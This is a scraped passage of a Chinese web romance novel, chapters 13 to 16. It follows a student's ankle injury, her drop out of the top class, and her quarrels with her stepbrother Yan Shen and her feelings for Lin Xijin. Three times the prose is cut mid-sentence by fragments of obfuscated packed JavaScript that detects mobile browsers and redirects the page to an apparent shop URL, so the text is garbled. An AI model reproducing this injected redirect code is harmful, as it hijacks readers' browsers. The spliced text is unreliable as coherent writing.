“我们应该夏天来,夏天景色更好。”登顶之后,徐衡大手一指,“到时候这一整片都是绿色的,我们还能去山里挖笋,挺有意思的。” 梁思意环顾山林,似乎可以想象出那一片绿意,在摇曳的风里,生机勃勃。 他们只在山顶待了十几分钟,吃掉何文兰提前准备好的点心,又喝了点水便准备下山。 梁思意和阎慎几乎同时伸手去拿已经空了大半的书包,手指在半空碰到,她先拿起书包:“没多少东西了。” 阎慎没说什么,收回手,无意识搓了下指尖。 梁思意背起书包,听到向葵说要发条朋友圈,她顺手点开微信看了眼,往下滑了两页,眸光倏地一顿。 林西津半个小时前发了一条动态。 -新装备。 配图是一张他的新鱼竿,定位在南溪水库。 在他这条朋友圈之下,是阎余新发的一张合照,照片里除了他和何文兰,还有林西津的父母。 定位也在南溪水库。 梁思意想到早上那通电话,莫名有些心乱,下山的路上也一直心不在焉,连向葵都看出她的异样。 趁着去卫生间的间隙,她拉住梁思意关心道:“你怎么了?” “没事,可能是有些累了。” 梁思意几乎不与别人谈论感情,如果不是阎慎意外发现,暗恋林西津这件事,只会是她一个人的秘密。 她不想说,向葵也不再多问。 从卫生间出来要走过一段石阶,梁思意注意力不集中,踩空的刹那,她听见向葵在身后惊呼。 “思意!” 等在路边的阎慎和徐衡听见动静,立马跑了过来。 梁思意摔得不轻,被向葵从地上扶起来,右脚阵阵痛意,她单脚站着,掌心也被擦破。 伤口冒着血珠,沾着地上的泥灰,看起来十分狼狈。 徐衡瞪大眼睛问:“怎么摔成这样?” “我没看清台阶。”梁思意痛得说话都没力气。 阎慎皱着眉,蹲下去检查她脚上的伤口,说:“看着估计要肿,不知道有没有伤到骨头,先找地方坐着。” 梁思意被向葵和徐衡扶着坐回亭子里。 阎慎背着书包进了卫生间,很快又走了出来,手里拿着一个装满水的矿泉水瓶。 他让梁思意脱了鞋和袜子。 “会有点凉,你忍一忍。”阎慎半蹲在地上,托着她的脚腕,把一整瓶水都浇在她脚踝处。 山上的自来水比一般的水温要低很多,梁思意被凉得瑟缩了一下,阎慎指尖用力,抓着她的脚腕没松:“别动。” 他低着头,静静地看着水冲过已经微微有些肿起来的伤处。 梁思意又痛又凉,已经顾不上不好意思,手紧紧抠着长椅。 中途徐衡又去装了几次水。 梁思意已经凉到快要没有知觉,冲完凉水刚想把脚收回来,又见阎慎伸手又从书包里翻出一个小包。 打开一看,竟然是一个简易急救包。 三个人都看着他从包里拿出一卷绷带,熟练地在梁思意受伤的地方做了一个简单的包扎。 “条件有限,只能先这样,等会下山去医院拍个片子。”阎慎又拆了瓶水,“手。” 梁思意伸出手,温凉的水倒在手心里。 看到她指尖微微蜷缩,阎慎什么也没说,只放缓了冲洗的速度。 梁思意痛得发热的掌心在水流中渐渐降了温度。 徐衡翻了翻搁在椅子上的急救包,在一片沉默里发问:“你这里东西还挺全的,是经常去户外吗?” “我爸是医生,以前经常去徒步,这是他的习惯。”阎慎拿纱布粘掉梁思意手上的水,拆了几只一次性消毒棉签。 他捏着梁思意的指尖,冷静地说:“可能会有点疼。” 棉签轻轻擦过伤口,梁思意感受到一阵难以缓解的痛意,皱起眉头,强忍着说:“没事。” 阎慎消毒包扎的动作都十分专业。 “我看你也挺像个医生。”徐衡把玩着一根用过的消毒棉签,好奇地问,“你以前是不是选过理科?怎么现在又半路转到文科班。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973428|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阎慎的名字在三中并不算太陌生,之前是理科班的尖子生,高二读了一半突然从理科重点班转入文科普通班。 这事在三中传了挺久,徐衡也听过他的名字。 这话题有些敏感,梁思意下意识看向阎慎。 他头也没抬,拆了一卷纱布在她手上绕了两圈,最后在手背上打了个漂亮的结。 阎慎站起身,也没看梁思意,语气平静道:“当医生是我爸的志向,不是我的,学文学理对我来说,区别不大。” “牛。”徐衡发自内心地给他竖了个大拇指。 梁思意右手托左手,指尖碰到手上的纱布,什么也没说。 她是唯一知晓他任性选择的背后原因的人,也是唯一没有资格去安慰去替他惋惜的人。 她之前高高在上地要他理解父母,尊重何文兰,却从未想过站在他的立场,去考虑他的想法。 命运的安排,似乎并不是每个人都可以坦然接受。 梁思意第一次为自己所谓的大度和包容感到羞愧和难以启齿。 她受伤之后一直没怎么说话,徐衡心里有些过意不去,毕竟出来玩是他提议的。 下山之后,他拍着胸脯对梁思意说:“你不要担心学习的事,笔记我可以帮你记,你有不会的题目我可以上门辅导。” “谢谢。”梁思意笑了,“但笔记还是算了,你记完我还要请翻译。” 阎慎先听懂,很轻地笑了一声。 徐衡很快也反应过来,见她还有心思开玩笑,稍稍松了口气,“我们还是先打车去医院吧。” 镇上有一家医院,不是几甲,但拍个骨头片子没什么问题。 片子出来之后,阎慎拍了张照片发给阎余新。 他很快打来电话过来,问清是什么情况后,说:“没伤到骨头,但还是要注意,不要让思意多走路,防止加重损伤。” “知道了。”阎慎说,“没让她走。” 下山都是他和徐衡轮流背下来的。 电话里静默了一瞬,阎余新又说:“你们什么时候回来,爸爸去车站接你们。” “一会儿吧,先去吃点东西。”阎慎伤口处理得当,医院拍完片子之后,没什么大问题,他们在附近找了家餐馆吃饭。 梁思意也挺不好意思的,歉疚地说:“对不起啊,连累你们都没吃上农家乐。” 向葵摆摆手,丝毫不在意:“你道什么歉啊,都怪徐衡,要不是他非要出来玩,你也不会受伤,农家乐哪里不能吃,你哪天到我家,我姥姥也能让你吃上农家乐。” 徐衡边吃边点头。 梁思意笑了笑,没再说什么。 最后结账的时候,她和徐衡站在柜台前拉扯:“我来我来,是我连累你们没玩好。” “我来我来,是我出馊主意连累你受伤。”她受着伤,徐衡不敢太使劲,一边拦着她去扫码,一边还要防着她摔倒。 饶是如此,梁思意的身影还是在跟徐衡的拉扯间有些摇晃,正想伸手抓住什么,后背忽然被人托了一把。 她回头,阎慎从旁边走过,一只胳膊挡在她身后。 他也没有看梁思意和徐衡,只是伸出手扫了下柜台上的二维码。 “二百四十七?”阎慎问服务员,得到确认后,又拿了一瓶水,把钱付了过去。 店里的到账提醒跟着响了起来。 “支付宝到账,二百五十元。” “……” “……” “……” 14.第 14 章 14 等回到平城,已经是下午五点多,梁思意一出车站便被阎余新接走,带到医院重新做了一次全身检查。 一通折腾下来,天已经黑了。 梁思意和何文兰待在阎余新的办公室里,阎余新和先前替她做检查的医生站在门外。 “没什么大问题,小阎处理得当,也没有造成二次损伤。”医生也是阎余新的老朋友,说起阎慎尽是惋惜,“好好的孩子,说不学医就不学了,哎。” “他有他的想法。”阎余新不愿多说,“你忙吧,我先带孩子回去休息。” 说话声停了,阎余新推门进来,他从医院拿了张轮椅,跟何文兰一起推着梁思意去了停车场。 回家的路上,梁思意一直看着窗外发愣。 阎余新问了她两遍要不要再请两天假,她才回过神:“不用了,阎叔叔,我也没什么不舒服的。” 梁思意不太想耽误学习,先前要不是阎余新坚持,她还准备跟阎慎他们回学校上晚自习。 “你这脚一时半会还不能走,怎么去学校也是问题。”阎余新想来想去,最后提议干脆让阎慎每天骑车带她去学校。 梁思意大惊:“我自己骑车去也行,家里不是还有一辆买菜用的小电动车,反正学校离得也不远。” 何文兰也有些犹豫,阎余新让她们别担心,这事交给他。 梁思意还想再说什么,但车已经在门口停下。 何文兰扶着她进屋:“这段时间你上下楼不方便,先住一楼的客房,房间我都给你收拾好了。” 梁思意没有异议,刚刚光是单脚蹦跶着进屋已经消耗掉她不少力气,再每天单脚跳着上楼,指不定哪天又要摔一跤。 简单洗漱好,梁思意才想起来找手机。 不知道什么时候没电关了机,她坐在客厅的沙发旁充电,刚一开机,微信消息弹不停。 都是向葵和徐衡在问她怎么样。 梁思意挨个回了没事,叫他们不要担心。 置顶的聊天框一天都没动静,她握着手机愣神,忽然听见何文兰的声音:“西津?你怎么现在来了?” “阿姨,我过来看看思意。” 梁思意看见林西津,神情也有些意外,但心里却像断掉开关的灯,又重新连接上,啪嗒一下,亮了起来。 “你怎么样?”林西津走到沙发旁坐下。 “还好,不算太严重。”梁思意看了眼时间,才九点多,“你没上晚自习吗?” “今晚数学周测,可以提前交卷。”林西津凑近了看她脚踝,“包这么严实,还说不严重。” “真的还好。”梁思意默默把脚塞回拖鞋里。 林西津又坐回去,静默几秒,他问:“你这样,明天怎么去学校?” “还不知道。”梁思意想到阎余新的提议,依旧有些苦恼,“到时候再看吧。” “要不我顺路进来接你?”林西津说,“反正我每天也是骑车去学校。” 梁思意意外又惊喜,但考虑到实际情况,她还是摇头说:“算啦,我们两个的教室现在离得太远了,你这样来回接送,会耽误你不少时间,也太麻烦了。” “好吧。”林西津没太坚持,只是忽然提起,“你和阎慎和好了?今天听舅舅说,你们是一起出去玩的。” “也算不上和好吧。”毕竟归根结底,他们并不存在矛盾,只是阎慎单方面同她断交。 高二下学期他转科之后又申请了住宿,一整个学期,梁思意只偶尔在长辈的饭局上见过他几次。 如若不是三中高三不提供住宿,在外单独住宿又必须有父母的签字,恐怕直到毕业,他们也还是形同陌路。 “今天也不是只有我跟他。”梁思意特意解释道,“还有两个实验班的同学,出去玩也是他们提议的,你给我打电话的时候,我们已经到车站了,我也不太好说不去。” “我又没有怪你的意思,是我电话打得太迟了。”林西津笑笑,“况且以前你和他关系就不错,现在你们都是一家人了,又同在一个班,走得近一些也没什么。” 梁思意总觉得哪里有些奇怪,但又说不上来。 林西津没再继续这个话题,吃了几块何文兰切好的水果,“不早了,我先回去了,你好好休息。” “好。”梁思意心里乱乱的,原本还想再看会书,但一直没办法集中注意力,索性准备休息。 刚收拾好,房门突然被敲响。 梁思意跳着去开门。 阎慎刚从学校回来,书包还背在肩上,视线上下打量一圈,平静地说:“明天早上,我骑车带你去学校。” 梁思意没想到他会同意,惊讶地“啊”了一声,又说:“麻烦你了。” “确实麻烦。”他说。 “……”梁思意有求于人,不得不低头,咬着牙说,“真是辛苦你了。” 阎慎“嗯”了一声,又把手上的卷子递过去:“你的周测试卷,明早不要迟到。” 他没多停留,梁思意拿着试卷回到屋里,摊开一看,发现卷子上的那些错题都被人用蓝色的笔订正过。 是阎慎的字迹。 翻到背面,梁思意忍不住拍桌:“靠!” 这张卷子的最后一道大题有些超纲,她昨天没解出来,交上去的时候是空着的,但此刻的空白处不仅被写满了解题步骤。 最末尾的角落,还被画上一只栩栩如生的猪头。 梁思意拍了张照片,打开微信,点开阎慎的头像发了过去。 没有意思:你什么意思? YS:字面意思。 梁思意发了一张【滚出去】的表情包。 阎慎没有再回,梁思意也没了睡意,重新坐到书桌旁,对着阎慎写下的解题思路认真看了起来。 次日一早,梁思意怕阎慎觉得她磨蹭,特意比平时早起了二十分钟,结果阎慎反而比平时晚起了。 “你是不是故意的?”梁思意早餐都吃过了,看阎慎将早餐盒装进书包里,“谁跟我说的不要迟到?” “不是还没迟到?”阎慎合上书包拉链,又顺手拎起她的书包,“走不走?再不走真迟到了。” 梁思意拳头都硬了,屈辱地跟在他身后单脚跳着。 阎慎忽然又停下来,她一个没注意,脑袋直接撞在他书包上,手下意识去抓,又碰到掌心的伤口。 梁思意痛得咬牙切齿:“阎慎!” “……”阎慎没说话,伸出一只手去扶她。 梁思意不知道他是真好心还是假好心,一路都走得胆战心惊,等坐到车上还在怀疑:“你不会趁我不便,故意把我带到沟里吧?” “你这么了解我?”他淡淡地说。 人在敌车,梁思意不敢再乱说话,紧紧抓着车座垫下方,“好了,我们快点去学校吧。” 好在学校离得不远,梁思意一个政治考点还没在脑袋里过完,车已经停在教学楼底下。 车棚离教学楼还有一段路,阎慎又绕回去停车,向葵在楼上看到他们,提前下了楼:“思意,早上好!” “早。”梁思意被她搀扶着上了楼。 新的一周开始了。 短暂地松懈之后,是更紧张地学习。 张德忠因为他们四个周末出去玩还受伤这件事,天天在班里念叨:“我知道高三苦,高三难,但再难再苦现在都不是放松的时候,现在不苦,以后苦日子长着呢。” 每每提到这一茬,他们四个就在底下埋头当鸵鸟,生怕又被张德忠当典型拎出来训。 梁思意也不敢和向葵对视,怕一紧张又笑出来。 挨骂,做题,考试,日复一日。 高考像一座孤岛,他们困在其中,苦苦挣扎,只为寻到那一条正确的出岛之路。 梁思意的脚伤到月底才基本痊愈,只是不太能剧烈运动。 月考分班考试,她和向葵在一个考场,上下楼梯向葵都格外谨慎地扶着她,梁思意哭笑不得:“我真没事了,本来也没伤得很严重。” “没关系啊,还是多注意点比较好。”向葵扶着她到座位上,“加油!” 梁思意点头:“加油!” 考试铃声响,教室里走动的人影都坐了下来。 伴随两天月考结束,这一年也到了尾声。 每年的一月,是梁思意最不喜欢的月份,因为多年前她的父亲梁远山在一月确诊癌症晚期,随后便在短短几十天里离世。 她对一月的记忆只剩下父亲憔悴的病容和对他早逝的遗憾。 然而今年,梁思意讨厌一月的原因又多了一个—— 她在新的月考中掉出了实验班。 成绩出来那天刚好也是阎慎的生日,因为是十八岁,他的母亲蒋穗特意从国外飞了回来。 他们高三元旦只放了一天假,那天是法定假期结束后的第二天,阎慎请了假,在和母亲共进晚餐的时候收到了徐衡的微信消息。 AAAA衡哥:完蛋了!我真成罪人了! YS:? AAAA衡哥:梁思意这次月考没进前一百!我靠!肯定是最近老张老把我们当典型训,她情绪受影响了。 阎慎拿着手机,神情不明。 母亲蒋穗坐在对面,给他盛了一碗热汤,温声问:“怎么了?是学校有什么事情吗?” 阎慎摇头,说:“在看上次的月考成绩。” “怎么样?”蒋穗出国之后,每个月都会和阎慎联系,对他的学习情况也有所了解。 她笑着问:“转科之后是不是比之前压力大多了?” “还行。”阎慎放下手机,没有再回。 蒋穗看着他,忽然说:“其实妈妈一直在后悔,当初是不是不该给你签转科申请书。” 当初阎慎刚意外发现父母离婚,还未从打击中缓过来,又得知阎余新再婚的事情。 一气之下,他不愿再追随父母的脚步,学理科成为医生,又或者像蒋穗一样,一辈子投身医药行业。 蒋穗自知在离婚这件事情上对儿子有所亏欠,在阎慎提出要转科的时候,也没有太过劝导。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979300|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是我自己的决定。”阎慎喝了口水,说,“当时确实是有些冲动,但人生不止一条出路,我也会为我自己的选择负责。” 蒋穗叹了一声气,没再继续这个话题,转而问道:“你对考哪所大学有想法了吗?” “暂时还没有。”以前是有过的,转科之后成绩一直不稳定,阎慎也没空想这些。 “如果高考分数合适,你考不考虑来沿海城市念大学?”蒋穗说,“妈妈明年会回国发展,在深城,以后或许也会在那边定居,到时等稳定之后也会把姥姥姥爷接过去,他们年纪大了,总不能一直没人在身边。” 阎慎愣了愣,一时没说话。 “你也不用急着去考虑这些,到时候肯定是先看你的分数。”蒋穗笑了笑,“妈妈只是想多给你一个选择。” 阎慎点点头,说:“我会好好考虑的。” “好。”蒋穗端起酒杯跟他的杯子轻轻碰了一下,“敬你的十八岁,永远快乐平安。” 阎慎也端起酒杯,神情敛去了平日的疏离与冷淡,柔声道:“谢谢。” 吃过饭,蒋穗还要回酒店开视频会,公司安排的司机先将她送到酒店,接着送阎慎回家。 他坐在车里,看徐衡发来的微信。 AAAA衡哥:你记得安慰她一下,哎,感觉她自从成绩出来之后,情绪挺低落的。 AAAA衡哥:呜呜呜呜呜我有罪我是罪人啊【大哭】【大哭】 AAAA衡哥:哦,想起来,梁思意说你跟妈妈吃饭去了,不打扰你了,生日快乐【蛋糕】 阎慎没回,在班群里翻到完整的月考成绩单。 梁思意这次排在第一百零六名,整体分数其实比上次还高几分,但这次数学卷子简单,前一百名里有接近三分之二都在一百四十分左右,还有几个甚至是满分,但梁思意只考了一百一。 阎慎关掉手机,跟司机说:“麻烦送我到三中。” 晚上车不多,他到学校晚自习还没结束,梁思意看见他还挺意外,但碍于在上课,并未说什么。 徐衡趴在桌上,小声问他:“你怎么这个点还回来?” 阎慎翻开书,一样小声地说:“回去也没事。” 徐衡还想再说两句,张德忠在上边轻咳了两声,他又立马坐起来,继续写试卷了。 下课铃响,梁思意没着急走,今晚是她在实验班最后一节晚自习,得提前把书和试卷收好,明天一早拿回原来的班里。 徐衡和向葵也都没走。 “干嘛啊,我又不是不回来了。”梁思意笑着说,“放心,下次考试我一定还会再考回来的。” “好啊好啊,我们等你。”向葵说,“我跟徐衡想好了,之后周日要是时间允许,我们都一块出来学习,肯定帮你把不会的都教会了。” 梁思意感动得鼻子一酸,连忙低头,“行,你们早点回去吧,我家离得近,收拾好就回了。” “那我们先走了。”向葵起身,徐衡碰了碰阎慎肩膀,也跟着走了。 教室逐渐空了,梁思意抱着一摞书,书包也塞满了,还剩下几本教材在桌上,阎慎伸手拿了起来。 她看了他一眼:“谢谢。” 阎慎抬手又把教材放到她怀里的书堆上,梁思意差点没抱住,立马凶了起来:“你干什么?!” 下一秒,阎慎伸手把她怀里的书整个接了过去。 “你下回做好事之前,能不能跟我打个招呼?”梁思意甩了甩胳膊,“每次都这样。” “是你对我偏见太多。”他把过去梁思意对他的一句评价甩了出来。 “……”梁思意今天心情不好,没力气跟他多说,背着书包自顾走出了教室。 阎慎停了两秒才跟出去。 冬天的夜晚雾气重,梁思意走着走着忽然长叹一口气,一团白雾散开,心里堵得难受。 离开实验班,对她来说,并不像表面上那么无所谓。 梁思意为了分散注意力,看向走在身侧的阎慎,开始没话找话:“你今晚不是过生日去了?怎么还回来上课?” “回来拿试卷。” “哦。”梁思意不知道还能和阎慎说什么,想了想才又说,“祝你生日快乐。” 阎慎看了她一眼,说:“谢谢。” 梁思意本就情绪不佳,此刻格外敏感,觉得他那一眼里藏有别的意味,语气免不了有些冲:“怎么,觉得我不会跟你说祝福吗?” “我没有。”阎慎否认得很快。 “我知道你讨厌我,觉得我也一样讨厌你,不会真心跟你说祝福。”梁思意说着说着,竟有些想掉眼泪,“现在好了,你以后不用一天到晚都见到我了。” 阎慎看着她,下意识想解释,却不知从何说起。 该怎么说呢? 说我其实并不讨厌你。 我只是讨厌突然和你变成这样无法言语的关系。 讨厌你望向别人的目光。 讨厌你喜欢林西津。 “是,我讨厌你。” 仅此而已。 15.第 15 章 15 梁思意没想到阎慎真的就这么承认了,一时间莫名的心酸和考试失利的挫败感一齐涌上心头。 “你讨厌我,你凭什么讨厌我?”她噙着眼泪,口不择言道,“又不是我让他们结婚的!” “……”阎慎往前一步,但怀中抱着书,他空不出手,似乎也没有资格和立场去做什么。 他只看她几秒,忽然挪开了视线,没什么语气地说:“结都结了。” 梁思意听出他的言外之意,那就没什么好说的,她吸了吸鼻子,头也不回地走远了。 走了没几步,阎慎看到她又回头,在雾气中气冲冲朝自己走来,他下意识往后退了一步。 没想到梁思意看也不看他,一把将他抱着的一摞书抢了回去,他怀里一空,心也跟着空了。 无奈书太多,梁思意拿着掉着,阎慎在后边跟着捡。 “不用你假好心。”梁思意一脚将他正准备捡起来的一本书踢远了。 阎慎提醒道:“这是你的书。” “……”梁思意更气了,沉默不语地走到被踢走的书跟前,把手上的书都放在地上。 阎慎走过去,蹲在旁边,试图挽回:“梁思意。” 梁思意拿他当空气,从书包里翻出手套,用两只手套中间的绳子将书捆成一摞,直接拎了起来。 阎慎不说话了,看着她踉踉跄跄走远,才起身跟了过去。 两人一前一后,进了家也不像之前,梁思意气鼓鼓上了楼,何文兰瞧着不对,又看了眼阎慎。 阎慎不知道怎么说,只好笑了笑,从桌上拿了瓶牛奶,也跟着上了楼。 “这俩孩子……”何文兰觉得莫名其妙的,倒了杯牛奶端上楼,抬手敲了敲门,“思意。” “来了。”梁思意揉着手,走过来开了门,“妈妈,怎么了?” “你跟小阎闹矛盾了?”何文兰走进来,将杯子放在桌旁,“平时不都一起在楼下看书的吗?” “哦,我这次月考掉出实验班了,以后不跟他一起学习了。”梁思意走到桌边坐下,语气硬邦邦的,“我们不是一个世界的人了。” 何文兰笑道:“之前小阎不也从实验班掉下来过,怎么那时候不说这话?” “那是我人好,我善良。”梁思意越说越觉得自己好得不行,想到阎慎竟然真的讨厌自己,又想到自己先前因为他的照顾,对他生出的一丝感激。 她忍不住嘟囔了一声:“是不是有病啊!” “嘀嘀咕咕说什么呢?”何文兰不怎么插手孩子之间的事,也从来没强求梁思意去做什么,随口问起了别的,“那你明天是不是要回原来的班级上课了?” 梁思意点了点头,立马又变得失落,趴在桌上无力地说:“想过会掉回去,等真回去了,还挺难受的。” 她想到之前在林家和阎慎的对话,才刚想了个开头,又迅速把这人从脑海里甩了出去。 “放宽心,你自己努力,在哪里学习都一样。”何文兰摸了摸她的头,“别给自己太大压力,喝杯牛奶,今晚早点休息。” “好的,谢谢妈妈。”梁思意一口气喝掉牛奶,却没像何文兰说的早点休息,一直学到凌晨一点。 她下楼洗完杯子,一转身看见阎慎从楼上下来。 梁思意还不想跟他说话,装没看见,擦肩而过的时候,阎慎忽然抓住她的胳膊。 他力气很大,梁思意一时没能甩开,只瞪着他,语气格外凶:“干吗?” 阎慎松开手,递给她一个笔记本,也冷冷地说:“里边是我总结的一些重点题型和考点,应该对你有用。” 梁思意心一动,却没接:“我不要。” “你不是看不懂徐衡的笔记?这是他让我借你的。他觉得是他出馊主意,害你受伤成绩又下降,心里过意不去。”阎慎把笔记塞到她手里,没什么表情地看着她,“你不要自己去跟他说。” 梁思意没想到徐衡心思这么细腻,拿了笔记之后在微信上跟他道谢,还安慰他不要多想。 徐衡早有准备,并没有乱说什么。 AAAA衡哥:加油【赞】【赞】【赞】【赞】【赞】【赞】【赞】【赞】【赞】 梁思意收到回复,只感叹不愧是学霸,这个点竟然还在线。 没有意思:嗯!我会的! 徐衡没有再回,梁思意随手翻开笔记看了一眼,阎慎的字迹一如既往地清晰好看。 笔记里的题目是直接从试卷上裁剪下来的,他不仅在下边写了解题过程,还在旁边用红笔写了这道题的考点。 抛开他这个人不说,他的笔记确实记得很好,对梁思意来说,不亚于雪中送炭。 只不过他这张嘴,想到这里,梁思意忽然一巴掌拍在笔记上,差点将贴在上边的题目拍跑。 她又小心翼翼按紧,指腹无意间按在下边的黑色笔迹上,竟然还蹭掉一点墨水。 “什么质量……”梁思意嘀咕了一声,眼见时间渐晚,也没再接着看,将笔记收进书包,起身关了灯。 这一夜梁思意睡得也不安稳,一直在梦里跟阎慎吵架,但梦里的他是个哑巴,全程都是她在单方面输出。 梁思意早上睡醒一直在乐,直到在餐桌边看见阎慎才收敛了笑意,但一想到梦里的他一句话说不出来全程挨骂的样子,她又忍不住笑了出来。 阎慎不明所以地看了她一眼。 梁思意依旧装没看见,拿起何文兰装好的早餐盒放进书包里,“妈,我去学校了。” 何文兰在厨房里应了一声。 走出家门,梁思意的心情又变得低落,拖着沉重的步伐进了学校,下意识朝实验班的楼梯口走了几步才回过神。 她刚准备转身往旁边楼梯走,一回头看见走在后边的阎慎,装作镇定地走得更快了。 阎慎停在原地,看着她的身影消失在楼道里,很不明显地笑了下。 梁思意原来在八班,教室靠近二楼拐角的楼梯口。 她到教室的时候,班里人还不算特别多,曲静在擦黑板,见她进来,笑着说:“你怎么来这么早?” “你也很早啊。”梁思意见到老朋友,心情好了些,“静静,你知道我的座位在哪儿吗?” “在这边,倒数第三排,老班还是让你跟林西津坐同桌。” 梁思意眼睛一亮,心情更好了。 林西津还没来,曲静擦完黑板跑来和她做了几分钟的临时同桌,问了些实验班的事情。 梁思意咬了口包子,想了想说:“其实也没什么太大区别,每天就是复习,考试,讲试卷,内容差不多,挺枯燥的,压力也挺大。” 曲静叹了声气:“看来高三都一样,不过实验班的学习氛围肯定比我们普通班要好。” 这话倒是没说错,往常在实验班,这个时间差不多人都来齐了。 梁思意笑了笑,安慰她:“反正在哪儿都是学,我们做好自己的事就行。” “嗯,你加油,争取下次考回去。”曲静起身,“不打扰你吃早餐了,我先回去看书。” “行。”梁思意三两口解决完早餐,翻开一本复习资料。 教室里的人进进出出,她旁边的空位也被人来回坐了几次,但真正的主人一直到早读铃响都没出现。 早读开始后,班主任王立新来班里记了几个名字,把梁思意叫了出去。 “从实验班回到八班,还适应吗?”王立新还有几年也要退休了,对梁思意一直都挺重视的。 梁思意笑着说:“还行,本来就是从八班走出去的,没什么不能适应的。” “那就好,心态要稳,高三到最后拼的就是一个心稳。”王立新宽慰了几句,才绕到正题,“林西津,你们这学期接触多吗?” 梁思意愣了两秒才说:“还行,有时候节假日会见面,但平时接触不是特别多。” 实验班和其他高三的教室不在同一栋楼,虽然离得并不远,中间也有相连的走廊,但文科班的教室全在一二楼,一个课间十分钟都不够上下楼。 再加上高三除了周一的升旗活动,平时也没有大课间,梁思意这学期和林西津见面的次数屈指可数。 “你们两个都是我从高一入学一直带过来的,他是前十名进的我们班,你是擦边进的,没想到现在反了过来,你越来越好,林西津越来不像话。”王立新叹了声气,“他这学期成绩下降很多,他家里边是什么情况我也不太清楚,跟他父母沟通,两个人似乎都不怎么重视。你跟他关系近,这一个月帮老师多劝劝他,按他之前的成绩,只要现在还肯努力稳定学下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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背景里依旧哄闹的教室,熟悉的同学,喜欢的男生,似乎一切都没有变。 梁思意在这些“一成不变”里找回了短暂的心安,每天按部就班地复习、考试。 唯一不同的,只是每晚不再和阎慎坐在一起学习。 但这不同在梁思意看来,不过是生活又绕回了正常的轨道,他们依旧是同住一屋檐下的陌生人,但每当夜深人静,她看着窗外,偶尔也会怀念那些并肩学习的时刻。 梁思意叹了声气,不再多想。 到了和林西津约好的周日,梁思意考虑到他的作息时间,没有太早出门,约了十点在图书馆碰面。 早上的餐桌旁,梁思意和阎慎久违地坐在一起。 “笔记看完了吗?”他突然问。 梁思意抬头看了他一眼,说:“还差一点,今天能看完,你急着要?” 阎慎没接话,把手边的笔记本推了过去,“一本是向葵的地理笔记,一本是我的,你自己总结着看。” 说完,他又补了一句:“我的那本算徐衡借的。” 梁思意顿了片刻,说:“谢谢。” 阎慎看着她,她又说:“我谢谢向葵,谢谢托你借我笔记的徐衡。” 他无所谓地笑了笑,随手拿起阎余新平时看的报纸,没再跟她说话。 梁思意也没有想太多,自顾吃完早餐,又陪着何文兰出去买了趟菜才准备出门。 她换好鞋,见阎慎一直坐在客厅看电视,隐隐觉得有些奇怪,但也没多问,跟何文兰打了声招呼便出门了。 从三中到图书馆有直达的公交车,梁思意下车后在门口等了会,林西津发来消息说要晚几分钟到。 她也不是真的来借什么复习资料,索性直接进了一楼的自习室,在正对着门口的位置找了两个空位。 林西津过了十点半才到,一脸歉意:“不好意思,昨晚弄到太晚,中午我请你吃饭,想吃什么随便点。” 梁思意不知道他到底在忙什么,也不好多问,只点头说好,拿了一张试卷放在他面前:“先写一张卷子。” 林西津看着她,无奈叹气:“行。” 梁思意给他掐了个表,刚把手机放下来,眼尖地瞥见自习室门口走进来三个人。 向葵和徐衡走在前边沉默地撕扯。 阎慎一身黑衣,单手拎着书包走在他们身后,目光静静地注视着她和林西津。 16.第 16 章 16 向葵告诉梁思意,她和徐衡原本计划去家里找她和阎慎:“但你妈妈说你去图书馆了,我和徐衡又没什么事,想着一个人也是学,我们几个在一块也是一起学。” “不过我没想到你约了人。”挨着梁思意坐下后,向葵凑在她耳边小声说,“是不是打扰你们约会了?” “没有,不是你想得那样。”梁思意瞥了眼和他们隔了几个空位的阎慎,犹豫了几秒,才解释道,“他是……阎慎的表哥,我们认识很多年了。” “哦,原来是这样啊。”图书馆不是聊天的好地方,向葵也没有再多问,翻出一张试卷摊在桌上。 梁思意捏着笔,却怎么也静不下心。 她总忍不住抬头看阎慎,害怕他最近看自己不顺,不小心再说出些什么惊人的话,但阎慎似乎真的只是来学习,从坐下之后,没再朝这边看过一眼。 梁思意又看向坐在身旁的林西津,他转着笔,时不时在试卷上勾一下,好像并未受到什么影响。 另一边,徐衡和向葵已经进入学习状态,她深呼吸几次,将那些乱七八糟的念头抛之脑后,也开始静心学习。 梁思意陷在难题里,没注意一旁的林西津停笔看了她和阎慎许久,而阎慎似乎察觉到林西津的视线。 他抬起头,没什么表情地和林西津对视着。 目光如能化为利器,空气中恐怕已经火花四溅。 阎慎气定神闲地靠着椅背,冬日晴天的通透日光落进室内,衬得他眸光格外淡漠。 林西津指间的笔转得飞快,忽然间脱手,笔杆“啪嗒”一声砸在桌面上。 梁思意被这声响惊动,扭头看了过来,他挪开视线,笑着拿起笔:“想题目想出神了。” 梁思意没怀疑,看了眼他的卷子,眼尖地发现一道选错的题目,但她也没急着指出,只是小声说:“慢慢写。” 林西津“嗯”了一声,等到再朝另一边看去,阎慎已经不在座位上。 他没太在意,依旧转着笔,心不在焉地写着试卷。 梁思意给林西津定的表是一个半小时,倒计时还剩最后十分钟的时候,向葵先停了笔。 这个点,馆内已经没剩多少人。 她说得不算太小声:“你们去不去吃饭啊?一起呗。” 